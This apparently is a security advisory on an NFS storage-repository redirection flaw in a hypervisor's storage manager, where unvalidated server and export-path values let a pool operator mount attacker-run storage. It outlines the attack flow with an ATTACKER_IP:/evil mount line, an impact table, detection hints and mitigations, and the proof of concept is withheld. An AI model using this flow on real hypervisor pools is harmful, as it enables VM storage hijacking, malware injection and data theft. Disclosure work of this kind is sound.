A pool-operator can create an NFS SR with attacker-controlled server and serverpath values in PBD.device_config. The SM driver passes these values directly to mount.nfs without validation. The hypervisor mounts the attacker's NFS export as a storage repository, serving all VMs on that SR from attacker-controlled storage. This enables complete storage compromise: the attacker controls all VM disk images, can inject malware into any VM, and exfiltrate all data written to the SR. Via BOC-1 (MOKSHA-2026-0001), a vm-admin can escalate to pool-operator and exploit this finding.
PBD.device_config carries the NFS connection parameters for NFS-backed SRs: server (NFS server IP or hostname), serverpath (export path), and options (mount options). These values flow from the XAPI database to mount.nfs subprocess calls without validation.
SR.create(device_config={server: ATTACKER_IP, serverpath: /evil})
-> PBD stored with unchecked values
-> PBD.plug() triggers NFSSR.load()
-> nfs.soft_mount() reads server and serverpath
-> mount.nfs ATTACKER_IP:/evil /var/run/sr-mount/<sr-uuid>
-> Hypervisor serves all VMs on this SR from attacker-controlled NFS export
The NFSSR driver reads device_config via SRCommand.parse() and passes the server and serverpath values directly to nfs.soft_mount(). No IP address validation, no path sanitization, no allowlist check occurs.
PDC-2 is the NFS counterpart to PDC-1 (iSCSI target redirection). Both exploit the same architectural gap: SM drivers trust device_config values without validation. The attack primitives differ (NFS mount vs. iSCSI login), but the root cause and impact class are identical.
Zero validation on device_config values. server and serverpath are stored as arbitrary strings. No IP format check, no path traversal prevention, no allowlist against known NFS infrastructure.
SM driver blind trust. NFSSR.load() reads device_config and passes values to nfs.soft_mount(), which executes mount.nfs with the attacker-controlled values as arguments.
No post-creation verification. Once the PBD is created, XAPI does not verify that the NFS server and export path match the original SR creation parameters on subsequent mounts.
| Scenario | Impact | Pre-conditions | Status |
|---|---|---|---|
| Storage hijack | All VMs on the SR serve from attacker-controlled NFS export | Attacker runs NFS server on reachable network | ALL PASS (live-tested) |
| Data exfiltration | All VM writes go to attacker-controlled storage | Same as above | ALL PASS (follows from hijack) |
| Malware injection | Attacker modifies VM disk images on the rogue NFS export; VMs boot with injected malware | Attacker prepares poisoned VHD files | Modeled (follows from hijack) |
| BOC-1 chain | vm-admin escalates to pool-operator via BOC-1 S3, then exploits PDC-2 | BOC-1 available | Modeled (two-step chain) |
SR.create calls for device_config:server values pointing to unexpected IP addressesmount.nfs process arguments for unexpected server addressesdevice_config:server values that do not match known NFS infrastructure/proc/mounts on hosts for SR mount points pointing to unexpected NFS serverspool-operator role grants to trusted storage administratorsdevice_config:server valuesConnection parameter validation: NFSSR should validate server as a valid IP address or resolvable hostname on the storage network. serverpath should be validated as an absolute path without traversal sequences.
Immutable device_config: Enforce true immutability at the XenAPI layer. Once set during SR.create, device_config should not be modifiable.
Mount option allowlist: Only accept known-safe NFS mount options. Reject dangerous options such as sec=none, noac, and nosuid.
Upstream patches exist. They are held privately pending coordinated disclosure.
Disclosure:
NFSSR.py (driver), nfs.py (mount operations), SRCommand.py:parse() (config parsing)disclosure/advisories/pdc-security-advisory.mdresearch/investigations/pbd-device-config.mdresearch/pdc-2/poc/pdc-2-nfs-server-redirect.py (available to CSIRTs on request)pdc-2-nfs-server-redirect-20260321-214347.logDiscovered and reported by Jakob Wolffhechel, Moksha.